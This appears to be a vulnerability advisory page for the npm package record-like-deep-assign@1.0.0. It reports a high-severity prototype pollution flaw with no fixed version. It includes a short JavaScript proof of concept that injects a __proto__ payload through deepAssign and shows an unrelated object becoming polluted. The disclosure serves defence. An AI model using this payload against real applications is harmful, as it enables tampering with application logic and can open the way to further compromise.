record-like-deep-assign@1.0.0 vulnerabilities

Recursively assigns enumerable own properties of the given sources to a target object

Direct Vulnerabilities

Known vulnerabilities in the record-like-deep-assign package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

record-like-deep-assign is a Recursively assigns enumerable own properties of the given sources to a target object

Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for record-like-deep-assign.

*